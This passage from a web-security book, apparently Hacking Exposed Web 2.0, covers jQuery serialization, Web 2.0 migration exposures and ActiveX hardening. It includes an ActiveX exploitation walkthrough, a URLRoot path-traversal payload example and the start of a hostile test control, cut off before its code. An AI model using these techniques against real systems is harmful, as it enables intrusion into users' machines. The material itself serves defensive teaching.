in the DOM through the chainable jQuery object. Since jQuery is solely a client-side 
library of JavaScript functions, it can work with any server-side technology in which a 
web application might be written, such as PHP or Java.

Serialization Security
jQuery, by default, provides the user with four types of serialization formats: json, xml, 
html, and script. If either the json or script type are used with the application, it will by 
default be vulnerable to JavaScript hijacking. This is because the HTTP GET method is 

http://jquery.com/
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the default request method used in the jQuery framework. Due to the default usage of 
HTTP GET, web application servers hosting jQuery applications will often be open to the 
HTTP GET method. Developers should ensure that only the HTTP POST method is used 
by the servers hosting their web applications.

In addition to using HTTP POST, developers should avoid the json and script 
serialization formats entirely. In their place, developers should use the xml or html 
serialization provided by jQuery. This serialization choice will ensure a defense in depth 
against JavaScript hijacking attacks when used in addition to other protections. 

SUMMARY
The shift to AJAX-style functionality can change the attack surface of web applications. 
While web applications in the past clearly defined what information was exposed to the 
user, changing to a Web 2.0–style application can make this definition far less clear. As 
developers shift to incorporating AJAX frameworks into their web applications to add 
AJAX functionality, they need to test for issues such as unintentional method exposure 
and debug functionality. 

In addition to unintentional exposures, AJAX developers also need to be aware of 
exactly what levels of protection their AJAX framework offers. In the case of CSRF 
attacks, while users of DWR 2.x are automatically protected, users of other major 
frameworks such as GWT, Xajax, and Sajax are not. Sometimes, design decisions in the 
AJAX framework will lead to additional security benefits. For example, in the case of 
JavaScript hijacking, DWR is automatically protected due to added security measures, 
while Xajax is automatically protected due to its use of XML as a serialization format. For 
this reason, it is recommended that developers using client-side frameworks such as 
Prototype and Dojo Toolkit make use of XML as a serialization format as an added 
security layer.

Regardless of which framework developers choose, the same format should be 
followed for analyzing any potential security impact. Developers should become familiar 
with the behavior of their AJAX framework and exactly what protections, if any, their 
framework offers. For any protections not provided through the framework, defenses 
should be added to the application.
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CASE STUDY: WEB 2.0 MIGRATION EXPOSURES
During a typical web technology migration, the traditional concerns that spring to mind are 
reliability and performance. Developers will often hope that things will “just work,” al-
though they may worry that the new technology will cause their web application to crash 
right from the start. However, in the case of migrating a web application to Web 2.0–style 
functionality, security should also be a paramount concern. 

A change in an application’s security posture during the migration process may come 
as a shock to web developers if their web applications were already considered secure. 
For example, many developers might not know a shift to Web 2.0–style functionality will 
affect security. Due to the nature of a Web 1.0 style web application, developers have a 
clearly defined idea of what information gets sent to the user and what doesn’t. With the 
shift to a Web 2.0–style web application, the line of what information gets sent to the user 
is changed. A large part of a web application’s functionality is now running inside the 
user’s browser, which means that the browser must be told how this functionality works. 
To do this, the application usually sends a large chunk of JavaScript down to the client, 
which describes all the methods the user will need to use the application. This means 
that compared to a Web 1.0–style web application, the user now knows the internals of 
the application far more extensively. In theory, this should not change the security of the 
application in any way. However, in practice, web applications often have numerous 
items such as internal methods and debug functionality that should not be exposed to 
clients—all of this makes migration to a Web 2.0–style web application a security 
concern.

This case study discusses the following:

• The Web 2.0 migration process

• Common exposures

• Internal methods

• Debug functionality

• Hidden URLs

• Full functionality

WEB 2.0 MIGRATION PROCESS
A Web 1.0–style web application generally starts the migration process by selecting an 
AJAX framework to use. This choice often depends on a number of factors, such as the 
platform and technologies being used by the web application. As you would expect, 
with the number of different platforms and technologies in use, a number of frameworks 
are available to developers. These frameworks can vary wildly in the way they add 
Web 2.0–style functionality to an existing web application. Some frameworks require a 
full rewrite of the application to use the framework’s Web 2.0 libraries, while others 
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simply take the existing web application and add Web 2.0–style functionality. This 
functionality can be achieved in a number of ways, with some AJAX frameworks 
functioning as a middleware servlet between the application and the client, while others 
compiling the entire application into JavaScript that can be statically served to the client. 
Regardless of the way the AJAX framework functions, all frameworks usually follow the 
same general steps:

1. Download the framework. Depending on the technologies used, a developer 
will select an appropriate framework. For example, if the web application 
uses Java, a developer will typically use a framework such as Google Web 
Toolkit or DWR if he or she wants to add Web 2.0–style functionality without 
having to rewrite the application. On the other hand, if the web application is 
currently being written at the time of framework selection, the developer may 
choose a framework such as the Dojo Toolkit, which must be written into the 
application.

2. Install the framework. The developer then follows the installation instructions 
provided by the framework. These instructions can vary from simply 
uncompressing the framework and setting any site-specifi c confi guration 
information, to adding the framework to an integrated development 
environment (IDE) such as Microsoft Visual Studio.

3. Import the application. Once installation is complete, the web application 
is imported into the framework. This step varies greatly from framework 
to framework. Importing the application often involves confi guring the 
framework to tell it about the application source tree. 

4. Expose the methods. Once the application has been imported into the framework 
and the appropriate confi guration applied, the framework must be told which 
areas of the application should be made public. This step has the greatest 
potential to threaten the security of the application. Often the easiest approach 
to this step is for a developer is simply to mark all methods as public to 
guarantee that the application will function correctly. This can lead to a number 
of issues, with areas of the application that should remain private being 
exposed to a user. This step should take the bulk of a developer’s time during 
a Web 2.0 migration to ensure that he or she knows exactly what sections of the 
application will be exposed to users. 

5. Run the framework. Finally, when the framework is fully imported and confi gured, 
the framework is run and generates the new Web 2.0–style application. Depending 
on the framework, the output can vary signifi cantly. For example, with Microsoft 
ASP.NET AJAX, the output will be like a normal web application. On the other 
hand, the output of a Java application run through the Google Web Toolkit 
framework will be JavaScript and HTML fi les that can then be served from any 
static web server. 
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COMMON EXPOSURES
Unfortunately for developers, finding exposures is not a simple process. One tool that 
can aid in testing is the iSEC Partners SecurityQA Toolbar, available at www.isecpartners
.com/SecurityQAToolbar, although tools cannot fully solve the exposure problem. The 
only way for a developer to ensure that no exposures are included in a web application 
that has recently been migrated to a Web 2.0–style application is to analyze the code that 
the application now sends to users. Similarly, an attacker needs to search through the 
code that the application sends down to users to try to find data that appears to be 
sensitive or unintentionally exposed. Since each framework sends code down to users in 
a slightly different fashion, the specifics of each search usually varies on a framework-
by-framework basis. The vulnerability for which attackers and developers need to search 
is generally one of these classes:

• Internal methods

• Debug functionality

• Hidden URLs

• Full functionality

Internal Methods
The most devastating potential exposure by a migration to a Web 2.0–style application is 
an attacker discovering a method that developers had intended to be exposed only to 
authorized personnel. While hardly a secure practice, developers of traditional Web 1.0–
style applications have been able to get away with including methods in their web 
application that perform unauthenticated administrator commands or similar 
functionality that should remain private. This is because in a Web 1.0–style application, 
a full list of methods is never sent down to the user. So, for example, if a method that 
performs an administrative action is named something obscure in practice, it will never 
be discovered by an attacker. If an attacker wants to search an application for hidden 
administrative methods, he would have to brute force every possible method name 
against the application. A brute-force attack of this fashion is technically not a feasible 
approach to finding hidden methods. However, a transition to a Web 2.0–style application 
may expose this functionality, because when the application is run through the AJAX 
framework, it may automatically tag all methods to be exposed to the client. Exposing all 
methods, even if not done automatically by the framework, is tempted to developers to 
ensure that their application will “just work” after the upgrade. If a developer is not 
careful during this point of the migration, sensitive internal methods will be exposed to 
users/attackers along with legitimate ones. 

Debug Functionality
Debug functionality is another problem area when migrating Web 2.0 applications as 
it can potentially expose new vulnerabilities. While this can cover a wide area of issues, 
the most commonly seen problem is exposing the ability to enable debugging modes. 

www.isecpartners.com/SecurityQAToolbar
www.isecpartners.com/SecurityQAToolbar
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Similar to internal methods, developers of Web 1.0 applications have been able to get 
away with the insecure practice of allowing extra arguments such as debug=true to 
methods to enable full debugging output. As was the case with internal methods, an 
obscurely named debug variable that is used to enable debug functionality is nearly 
impossible for an attacker to discover even with an exhaustive brute-force search. When 
the application shifts to a Web 2.0–style application, however, the user will now see the 
full implementation of all the methods that the server sends to the users. The user can 
then search through the method definitions to look for any with debugging flags that 
would allow debugging functionality to be enabled. 

Hidden URLs
Another area of exposure vulnerabilities that is common in recently migrated Web 2.0 
applications is hidden URLs. During migration from a Web 1.0 application to a Web 2.0 
application, in the case of a framework that has been selected to convert an existing 
application, the framework chosen will walk through the entire supplied source tree. 
The framework will then generate the new application based off that source tree. The 
problem that can arise from this is that in some cases, developers will rely on hidden 
URLs to perform administrative functions. Similar to the internal methods and debug 
functionality exposures, developers are able to get away with this in Web 1.0–style 
applications in which the attacker would have to brute-force every possible URL to look 
for the URL. However, since the Web 2.0 framework knows about the full source tree 
(including the previously hidden URLs), these URLs can leak out in the JavaScript sent 
to the client. 

Full Functionality
While not a security issue in itself, full functionality exposure deserves a discussion 
because of its potential security impact. As discussed previously with other exposure 
classes, when a user visits a web application that has been migrated to a Web 2.0 style–
application, he or she is usually sent a set of JavaScript files that contain the full 
functionality of the web application. Additionally, this set of JavaScript files is often sent 
down to the user before authentication takes place, allowing any unauthenticated user 
to learn the about the application. This is a drastic change from the Web 1.0–style of 
learning about the functionality of a web application. In the Web 1.0 style, method 
discovery requires that a user manually walk through each section of the application to 
learn about functionality. In the Web 2.0 style, full functionality is sent to the user. In and 
of itself, this is not a security vulnerability. However, it is a profound shift in the way that 
web applications interact with users. It greatly eases an attackers’ job of performing 
method discovery and learning about a target application compared with the Web 1.0–
style of having to walk through the entire application to learn its functionality. 

In addition, the JavaScript files sent down in Web 2.0 may describe functionality that 
the attacker would not normally have had access to in a Web 1.0–style application. For 
example, the JavaScript not only describes methods that can be called from the attacker 
access role (such as a low-rights user), but also describes methods used by high-rights 
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users and administrators. This information is useful when performing later attacks such 
as CSRF, in which the attacker forces the administrator to perform an action using the 
administrative methods that have been previously discovered. 

Migration exposures are an interesting class of vulnerability that arise in Web 2.0 
applications that have been upgraded from Web 1.0 applications. Unlike other 
vulnerabilities in which a specific hole in the application is sought by the attacker, 
migration exposures target application functionality that was previously hidden from 
users but is now exposed. These issues arise when developers are not explicitly aware of 
what functionality an AJAX framework is going to expose to users after a migration. 
Attackers can use the JavaScript sent down by the server before authentication takes 
place, which describes the full functionality of the application, to look for common 
exposure classes such as internal methods, debug functionality, and hidden URLs.

Developers must be alert during a Web 2.0 migration to ensure that only methods 
that should truly be public are exposed to clients and anything dealing with internal 
functionality remains hidden. Additionally, once a Web 2.0 application migration is 
complete, developers must verify that information that is sent to users is properly 
sanitized and that no private information is being leaked. As with any new technology, 
Web 2.0–style applications are not inherently more or less secure; developers merely 
need to understand how the change to a Web 2.0–style application changes how their 
application interacts with users.
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The ActiveX technology was introduced by Microsoft in the 1990s to allow developers 
to do more with their web applications. ActiveX is often used when a rich set of 
functionality is required on a Windows machine, such as patch installation 

(Windows Update), multimedia (Flash/WMP/QT), and document viewing (Acrobat).
ActiveX control components are downloaded to user’s browser and/or operating 

system and integrates with a web application. Traditional web applications (Web 1.0) 
might require Win32 clients on the operating system (OS) for an ideal user experience; 
however, Web 2.0 trends involve clients running in the browser rather than the OS. As 
sites move away from the thick clients solely on the OS, web applications are relying on 
ActiveX controls that will still depend on the OS but now reside inside the browser itself. 
Using some type of client with a web application is becoming more popular as applications 
try to do more on the web than simply display static content.

ActiveX is a Component Object Model (COM) object. COM is used to enable interprocess 
communications (IPC) through various parts of the OS and its applications. COM also is 
used for intraprocess communication, meaning the control is loaded in-process. The 
latter is the most common usage scenario for ActiveX controls. COM is used with ActiveX 
primarily because it provides a common interface for interacting with arbitrary objects. 
ActiveX objects allows a program to self-register, add registry/file system entries, and 
automatically run. Essentially, COM objects allow methods and interfaces to be called 
from one application to another, without them having to know the ins and outs of the 
application itself. A simple example of COM is allowing Microsoft Word to incorporate 
data from MS Excel in real-time (with no copying and pasting required). 

Unlike many items that are downloaded via a browser, ActiveX controls have access 
to the Windows operating system. Since ActiveX is a COM object, the currently logged-
in user can perform some actions with privileges that range from access to the file system 
to access to keys in the registry. Access to the underlying OS gives ActiveX significant 
power and corresponding risk when using it on the Internet. For example, while Java 
provides significant security control for a user’s browser, it is not built to “break out” of 
the browser and access the operating system. Java runs in a “sandbox,” as it often runs 
powerful code that should not be accessible to the operating system. Conversely, ActiveX 
controls have no sandbox and are able to access the operating system directly. Items that 
allow direct access to the OS are attractive targets to attackers, since they have unchecked 
access to the system, which is why poorly written ActiveX controls have turned out to be 
a security problem for many organizations. Note that the lack of a sandbox makes flaws 
in ActiveX generally more severe, but all insecure controls in Java and .Net can be just as 
harmful as those in ActiveX. Once a user has installed an ActiveX control on his or her 
machine, the control can be accessed by a web application on the Internet, which allows 
the control to be used for malicious purposes. Figure 8-1 shows an example of an ActiveX 
control.

In this chapter, the attack icon represents an attack, an attack tool, or a vulnerability/flaw that can lead 
to an attack. 
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OVERVIEW OF ACTIVEX
ActiveX controls serve many purposes, from providing simple methods to download a 
program to allowing web applications to access information on a local operating system. 
They are often implemented in C++ but can be implemented in other languages as well. 
Additionally, ActiveX objects contain a number of methods and properties. The following 
provides a brief description of ActiveX terms:

• ActiveX interface The defi nition of the methods and properties available. 
Methods can be invoked; properties can be retrieved and set. An interface is 
usually a grouping of functions that expose related functionality.

• ActiveX object The overall COM component. An object has interfaces, 
methods, and properties that can be invoked. ActiveX objects implement 
interfaces.

• ActiveX method A method is a function call that may or may not be 
implemented. A method has parameters, like a function call.

• ActiveX property ActiveX properties are also implemented as function calls 
along the lines of the Get/Set convention.

Figure 8-1  ActiveX controls
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ActiveX controls can be safe, but because they can be written to access OS resources 
and they can be written in languages that allow format string or buffer overflow attacks, 
they can have security holes. 

ActiveX seemed to be Microsoft’s response to Java applets. While applets were doing 
everything in the browser, Microsoft took it one step further and allowed ActiveX to do 
everything in the browser and underlying operating system. Java exposes operating 
system functionality (such as read/write files), but through a virtualized wrapper. The 
security benefit of Java over ActiveX is the expressive security model. When deployed, 
ActiveX controls were supposed to be a benefit to end users. For example, when visiting 
a web page that requires an ActiveX component, an ActiveX control can be invoked by 
the web application automatically. If given the right, the web browser can install the 
Win32 client on the user’s operating system and then send the required information back 
to the web application, such as username and password information. The interaction 
between the ActiveX control and the web application is invisible to the user, hiding many 
complex interactions. 

Following are the technical steps involved in this example:

 1. A web site invokes an ActiveX control. 

 2. If the ActiveX control is not already installed on the system, the user can be 
prompted to install the control at this time. As with all installations, a machine-
wide confi guration change requires administrative rights.

 3. The ActiveX COM object is invoked by the user’s browser, requesting 
permission to execute instructions for the control.

 4. If the operating system grants rights to the ActiveX control, which is often 
determined by the security settings in the user’s browser, the system will 
complete the instructions listed in the control, such as install programs, update 
register keys, or access the fi le system as needed, searching for specifi c product 
versions. Typically, installation requires downloading a dynamic link library 
(DLL) and registering it under HKLM\Software\Classes so that it can be 
invoked.

 5. After the control is completed, the COM object is stored on the user’s operating 
system for use on later visits. For example, the second or third time the user 
visits the web page, the ActiveX control will verify that the COM object has 
been installed and then request any information it needs form the user’s 
system, such as which version of XYZ software has been installed.

The following lists a small example of typical uses of ActiveX controls on major web 
applications:

• Lets users download and install programs automatically with a single click.

• Allows a web application to execute a program already on the operating system 
(such as meeting software).

• Allows a web application to run scripts on the user’s web browser or system.

• Automates content within the web application, such as motion with objects.
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The following steps describe how a control is installed on a user’s system:

 1. A user visits a web application that contains an ActiveX control.

 2. The web application refers to its class identifi er (CLSID) and URL and prompts 
the user to download the control.

 3. If the user agrees to download and install, installation occurs.

 4. After installation is completed, the ActiveX control can be invoked without 
prompting the user in the future. Note that this item can be confi gured. The 
gold bar in Internet Explorer 6 prompts the user of uncommonly used ActiveX 
controls. In IE 7, users have the option to provide granular policy about which 
objects can run silently, which cannot run at all, and which can run with a 
prompt—this is called the ActiveX opt-in. 

To see an example of an ActiveX object, visit labs.isecpartners.com/HackingExposed-
Web20/activex.cepted.htm. ActiveX.cepted is an ActiveX control that leverages IE. The 
ActiveX control in this example is built into the operating system but the controls are 
usually installed by the web application. The example control will invoke the Shell
.Explorer class ID, which opens a web browser within the browser itself (an example of 
an OLE action). 

The code for ActiveX.cepted is as follows:

<HTML>

<HEAD>

<TITLE>ActiveX.cepted</TITLE>

</HEAD>

<BODY>

<H3><center>ActiveX.cepted<H3>

<OBJECT ID="WebBrowser1" WIDTH=300 HEIGHT=151

      CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2">

    <PARAM NAME="Location" VALUE="www.isecpartners.com">

</OBJECT>

</BODY>

</HTML>

Notice that a browser within the web browser is displayed via the ActiveX control.

ACTIVEX FLAWS AND COUNTERMEASURES
ActiveX security measures are integral to user security and privacy. Once an ActiveX 
control is downloaded by an end user, the control’s methods can be execute by another 
web application that the user visits, including access to the operating system’s registry 
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and file system (if the method has been written to access the file system or registry). 
Unique identification of the ActiveX object is accomplished through the CLISD, which 
can be enumerated in the registry.

A simple example of an ActiveX attack would involve an insecure ActiveX object on 
a web application and a malicious attacker who wants to exploit the issue. For example, 
if an attacker knew that eNapkin.com uses an insecure ActiveX control, the attacker can 
complete the following steps to exploit the issue:

 1. Visit the URL with the vulnerable ActiveX control and download the control.

 2. Enumerate the control’s attack surfaces and security fl aws.

 3. Create a malicious web site that exploits the vulnerability with the ActiveX 
control.

 4. Convince the victim to visit the malicious web site, via a phishing e-mail or 
a Google advertisement for $10 iPods.

 5. Once the user visits the legitimate organization’s page with the vulnerable 
ActiveX control installed, the user’s operating system will follow the 
instructions set by the attacker.

While ActiveX is often developed insecurely, designing safe ActiveX controls is 
certainly possible. The following section discusses a list of common ActiveX security 
flaws and the appropriate security measures you can use to mitigate them.

Allowing ActiveX Controls to be Invoked by Anyone
ActiveX controls do not often verify or list the authorized servers and/or domains that 
can invoke the controls, such as *.isecpartners.com. The lack of restriction allows any 
attacker to target and invoke existing controls on a user’s operating system for the 
attacker’s own advantage. By not verify or restricting a domain, the red carpet is rolled 
out for any attacker willing to abuse the rights placed by the ActiveX COM object.

To defend against misuse, Microsoft released SiteLock, a library that ActiveX 
developers can use to limit access to the ActiveX controls. A developer can lock access to 
specific domain names, to IE trust zones, or to Secure Sockets Layer (SSL). For example, 
a predetermined list of domains, such as *.isecpartners.com, can be allowed to invoke an 
ActiveX control, whereby all servers in the isecpartners.com domain can invoke COM 
objects on the user’s system. SiteLock can ensure that ActiveX objects are not exposed to 
the world once a user downloads them and installs them via the web browser.

Unfortunately, cross-site scripting (XSS) and Domain Name System (DNS) attacks 
can still subvert this control. If a XSS attack were present on any web application on 
*.isecpartners.com, an attacker can target a user’s browsers by bouncing the attack off a 
vulnerable web server in the isecpartners.com domain. Hence, when using SiteLock, the 
domains that are deemed trusted should be secure from common web application attacks 
such as XSS. Furthermore, SiteLock relies on DNS names, but DNS was not designed to 
offer strong security. A successful attack against DNS can render SiteLock ineffective if 
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SiteLock is not forced to use SSL. For example, if SiteLock is set up to force the use of 
HTTPS with *.isecpartners.com, you can protect against DNS attacks. However, if HTTP 
is used with *.isecpartners.com, DNS attacks are possible, even if you use SiteLock.

SiteLock Template for Securing ActiveX
When appropriate, SiteLock should be used on all ActiveX controls, allowing the controls 
to be limited to authorized domains listed within the SiteLock file. Microsoft has released 
a SiteLock template file that helps users install SiteLock on their ActiveX controls. The 
template can be found at http://msdn.microsoft.com/archive/default.asp?url=/
archive/en-us/samples/internet/components/sitelock/default.asp. The template 
contains a file called SiteLock.h, which offers a step-by-step procedure to install SiteLock 
on an ActiveX control. The following list shows an example of the steps necessary to 
install SiteLock on a control; however, you should refer to SiteLock.h for all the technical 
steps required to install this security protection.

 1. Include the SiteLock.h header fi le.

 2. Add the following interfaces:

public IObjectSafetySiteLockImpl

<Class, INTERFACESAFE_FOR...>,"

 3. Add the following items in the COM_MAP section:

COM_INTERFACE_ENTRY(IObjectSafety)

COM_INTERFACE_ENTRY(IObjectSafetySiteLock)

 4. Add the following in the control class:

static const SiteList rgslTrustedSites[#];

 5. AllowType should have the approved domains—Allow, Deny, or Download.

 6. The control must implement IObjectWithSite or IOleObject.

 7. Link the control with urlmon.lib and wininet.lib.

A better, more though step-by-step process is provided by Microsoft in SiteLock.h, which should be 
used for the actual implementation procedure. 

Not Signing ActiveX Controls
ActiveX controls should be signed; this allows users to determine whether the binary 
installed on their machines actually came from the correct source. By digitally signing 
the ActiveX control, users can verify that the control has not been modified, tampered 
with, or changed in transit or since it was released. Unsigned ActiveX controls offer no 
guarantee of the source, nor do they indicate whether the controls are tamper free. This 
becomes significantly more important as third parties either host or place content on 

http://msdn.microsoft.com/archive/default.asp?url=/archive/en-us/samples/internet/components/sitelock/default.asp
http://msdn.microsoft.com/archive/default.asp?url=/archive/en-us/samples/internet/components/sitelock/default.asp
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a site that is not from the original source, such as web application that host advertisements 
on their site from third-party publishers. 

Signing ActiveX Software
If an organization uses ActiveX controls to download and install software, the control 
should install only executables or cabinet (cab) files that have been signed by the 
organization’s signing key. The organization’s code-signing key will prove that the 
program is coming from the legitimate web site and not a random attacker. For example, 
if eNapkin.com uses an ActiveX control to install software, but the software has not been 
signed, the control should refuse the installation. Additionally, if the executable or cab 
file comes from eNapkin.com, but is not signed by eNakin.com but rather ePaperTowel.
com, the control should also reject the installation. 

The method used for signing binaries is pretty straightforward. Signing keys can be 
purchased by VeriSign (and other vendors), and Microsoft’s SignTool.exe program can 
be used to sign the binaries. Complete the following steps to sign an executable that will 
be downloaded and installed automatically by an ActiveX control. To sign a binary, the 
Digital ID file (generally called MyCredentials.spc) and the private key file (MyPrivateKey
.pvk) will be needed, which is provided to you after you purchase a signing key from 
VeriSign. 

 1. Download the software development kit (SDK) from www.microsoft.com/
downloads/details.aspx?FamilyId=0BAF2B35-C656-4969-ACE8-
E4C0C0716ADB&displaylang=en.

 2. After install, choose Start | Run. Type cmd and click OK.

 3. At the prompt, change the directory to C:\Program Files\Microsoft Platform 
SDK\Bin.

 4. Type signtool signwizard. A wizard will appear. Click Next.

 5. Browse to fi nd the fi le you would like to digitally sign, and then click Next.

 6. Select Custom, and then click Next.

 7. Click Select From File and locate your MyCredentials.spc fi le. Click Next.

 8. Click Select From File and locate your MyPrivateKey.pvk fi le. Click Next.

 9. Select sha1 and click Next twice.

 10. Enter a description of your fi le and a web site address where more information 
can be located. Then click Next.

 11. Select Add A Timestamp To The Data, and in the Timestamp Service URL, enter 
http://timestamp.verisign.com/scripts/timstamp.dll. (Note that timstamp.dll
does not contain the letter e.) Click Next.

 12. Verify that all of the information is correct and click Finish.

You have successfully signed your file.

www.microsoft.com/downloads/details.aspx?FamilyId=0BAF2B35-C656-4969-ACE8-E4C0C0716ADB&displaylang=en
www.microsoft.com/downloads/details.aspx?FamilyId=0BAF2B35-C656-4969-ACE8-E4C0C0716ADB&displaylang=en
www.microsoft.com/downloads/details.aspx?FamilyId=0BAF2B35-C656-4969-ACE8-E4C0C0716ADB&displaylang=en
http://timestamp.verisign.com/scripts/timstamp.dll
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Marking ActiveX Controls Safe for Scripting (SFS)
Marking a control safe for scripting (SFS) with the IObjectSafety method basically 
gives the green light to any developer to manipulate methods/properties within the 
COM object with their own script, such as a VBScript or JavaScript contained in web 
pages. This flag essentially states that all methods invoked by this COM object will not 
damage or ruin the security posture of the system. For example, if an ActiveX COM 
object were used with Microsoft Word and marked safe for scripting, a malicious third-
party script could be executed remotely on the object to delete files on the user’s operating 
system.

Not marking a control for scripting would prevent any third-party scripts from 
accessing the control; however, most controls need the safe for scripting mark for proper 
use.

SFS places a large security guarantee on the ActiveX object, since it allows third-party 
users to create scripts that invoke the object. While security guarantees are ideal, they are 
tough to achieve and tough to maintain. A better method is to remove all SFS flags in an 
ActiveX object by default unless they are intended for use on the web and have been 
through a rigorous security evaluation. 

Marking ActiveX Controls Safe for Initialization (SFI)
Similar to scripting, marking a control safe for initialization (SFI) with the IObjectSafety
method allows controls to be invoked by third-party applications. Marking a control as 
SFI basically means that parameters associated with Object tag invocation cannot be 
misused. Again, while security guarantees are ideal, they are tough to achieve and tough 
to maintain. A better method is to remove all SFI flags in an ActiveX object by default 
unless they have been through rigorous security evaluation. 

 Unmarking Scripts “Safe for Scripting” 
and “Safe for Initialization”
The easiest way to ensure that ActiveX objects are not scripted or initialized remotely is 
not to mark them SFS or SFI. Remove these designations if the control does not need 
them. A design review/threat model of how the functionality can be misused, general 
fuzzing, and targeted testing should be performed before releasing a control marked 
SFS/SFI. Unfortunately, when creating an ActiveX object, you can ensure that the object 
is not marked, but hundreds of exiting objects are probably already marked with these 
options, and many of them are probably running on your system now. To ensure that no 
ActiveX objects are marked with these dangerous options, you can manually remove 
these fields by searching through the registry for {7DD95801-9882-11CF-9FA9-
00AA006C42C4} and {7DD95802-9882-11CF-9FA9-00AA006C42C4}. {7DD95801-9882-
11CF-9FA9-00AA006C42C4} notes an ActiveX control is safe for scripting and {7DD95802-
9882-11CF-9FA9-00AA006C42C4} notes the control is “safe for initialization.” To remove 
these permissions, the keys must be deleted under the respective class ID (CSLID) 
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(ActiveX control) in the registry, as shown in the following examples. Here’s an example 
of registry permission for safe for scripting: 

[HKEY_CLASSES_ROOT\CLSID\{CLSID of ActiveX control}\Implemented

Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4}]

And here’s an example for safe for initialization:

[HKEY_CLASSES_ROOT\CLSID\{CLSID of ActiveX control}\Implemented

Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4}]

By removing these fields, the ActiveX control will no longer be listed as safe for any 
remote scripting or initialization. Complete the following steps to unmark an ActiveX 
object:

 1. Open the registry editor by choosing Start | Run | Regedit.

 2. Browse to the appropriate CLSID of the ActiveX object under HKEY_CLASSES_
ROOT: HKEY_CLASSES_ROOT\CLSID\{<CLSID of ActiveX Object>}

 3. Expand the CLSID key and then expand Implemented Categories key, as 
shown in Figure 8-2.

Figure 8-2  ActiveX controls marked safe for scripting and initialization
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 4. If you see {7DD95801-9882-11CF-9FA9-00AA006C42C4} and/or {7DD95802-
9882-11CF-9FA9-00AA006C42C4}, delete the keys. Highlight the key(s) and 
choose Edit | Delete.

You have now unmarked the ActiveX object. 

The ActiveX control does not have to use the registry to mark a control safe for scripting/initialization. The 
control can be marked by using the IObjectSafety interface. If the ActiveX control has used this 
interface, the web browser will IE query the control instead of using the registry keys. 

Performing Dangerous Actions via ActiveX Controls
ActiveX controls are built to help users install software or interact with web applications, 
but they often perform actions that are not safe. When deploying ActiveX controls, 
dangerous actions should always be avoided, especially activities that allow remote 
modification to registry keys, file deletion, passwords, and file execution. In general, 
ActiveX controls should not be used to perform the following actions: 

• Read, modify, or delete fi les or registry keys on the local computer

• Read, modify, or delete fi les or registry keys on the local computer’s network

• Transfer private information, such as private keys, passwords, or documents

• Execute fi les 

• Close the host applications

• Consume excessive resources

• Install (or uninstall) software

• Invoke objects (such as the CreateObject method)

Preventing ActiveX Controls on IE
With all the security issues around ActiveX and the complexity required to secure it, you 
may want to ensure that ActiveX controls are never run on a user’s system. The easiest 
method to ensure that an ActiveX object is not executed within IE is to set a kill bit on the 
CLSID value. The kill bit on the ActiveX’s CLSID value will ensure the control is not 
called by IE. However, if other settings contradict the kill bit, such as SFS or SFI controls, 
and are not marked safe, then the kill bit would not be used. 

To ensure an ActiveX control is not called by IE with the use of kill bit, complete the 
following steps:

 1. Open the registry editor by choosing Start | Run | Regedit.

 2. Browse to the appropriate CLSID of the ActiveX object: HKEY_LOCAL_
MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\
{<CLSID of ActiveX Object>}
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 3. Expand the CLSID key, which will show a DWORD value called Compatibility 
Flags, as shown in Figure 8-3.

 4. In order to set the kill bit, double-click the Compatibility Flag and change the 
current value for Value data to 400 (0x00000400).

You have now set the kill bit for the ActiveX object.

Buffer Overfl ows in ActiveX Objects
Buffer overflows are common in ActiveX, primarily because inputs are not being checked 
and validated in the control before input is accepted. These problems occur when objects 
are implemented, typically in C and C++. Without going into the science of buffer 
overflows, if a control receives input to a buffer that is greater than the buffer’s allocated 
length (the expected length of the buffer), an attacker can execute arbitrary code on the 
user’s machine. This action will most likely cause the system to crash or will grant system 
access to the attacker. It is important to validate input for ActiveX objects before accepting 
information to a fixed-length buffer.

Writing Secure Code
The obvious way to prevent buffer overflows in ActiveX is to write secure code and use 
safe libraries. For more information, refer to Writing Secure Code by Michael Howard and 
David C. LeBlanc, a good book about secure programming practices. 

Allowing SFS/SFI Subversion
It is possible to run code by IE before it can check whether a script is SFS or SFI. IE checks 
for SFS/SFI by CoCreate-ing the specified CLSID, querying for IObjectSafety, and 

Figure 8-3  An ActiveX control Compatibility Flag
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retrieving the control’s settings for SFS/SFI. CoCreateInstance calls the exported 
function DllGetClassObject on the control. Sometimes developers will put initializa-
tion code within this core function and it will be executed prior to the QueryInterface/
Check SFS. If the code is added beforehand, the code can be executed by IE before IE even 
knows whether the control is safe for use. COM developers in general (even those that are 
not coding for the web) need to make sure they don’t allow this dangerous function. 

Restrictive URLRoot Paths
If an ActiveX control downloads a file, which is not the norm, it looks at the parameters 
provided on the web page to decide from where it will download files. To ensure that 
only the trusted and authorized location is used, restrictions should be placed on the 
URLRoot path for the control. Before an ActiveX object downloads a file, the control 
itself can verify whether the URL root is allowed; otherwise, it reports an error and stops 
the action. An ActiveX control should require URLRoot paths to be a host in the trusted 
domain and a specific path, such as /trusted. 

Simply providing an URLRoot path is not enough, as attacker can subvert those con-
trols. Similar to how directory traversal attacks plague old IIS 3.0/4.0/5.0 servers, a 
URLRoot path could possibly be subverted by .. or its Unicode equivalent (%2e%2e). If 
/trusted were the listed URLRoot path, an attacker could possibly provide /trusted/
%2e%2e/attackerfilepath/, allowing the attacker to break out of the approved URLRoot
path and get the user to download a file of the attacker’s choice. To defend against 
URLRoot path traversal, all paths should be unquoted, normalized, and validated prior 
to retrieval.

Require HTTPS for ActiveX Controls 
If an ActiveX control is downloading a file, the ActiveX control should be deployed using 
HTTPS only. In addition, any HTTP actions should be redirected to HTTPS. Furthermore, 
if ActiveX URLs are redirected to another URL, path and SSL checks should be repeated 
on the new URL before the control is allowed to retrieve files. Strong certificates for HTTPS 
should also be required, and mismatched certificates should not be allowed to be used. 

ActiveX Attacks
To show how an ActiveX control can be abused, we need to start with a weak ActiveX 
control. ActiveX.stream is a hostile ActiveX control developed by the author for test 
purposes. It leverages a built-in control (CLSID: 8856F961-340A-11D0-A96B-
00C04FD705A2) already installed on the Windows operating system. The control per-
forms the following actions:

• Uses a Visual Basic script to access the user’s local fi le system and create a fi le of 
an attacker’s choice.

• Invokes the Shell.Explorer Class ID, which opens a web browser in control of 
the attacker. 
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The code for ActiveX.stream is as follows:

<HTML>

<HEAD>

<TITLE>ActiveX.stream</TITLE>

</HEAD>

<BODY>

<H3><center>ActiveX.stream<H3>

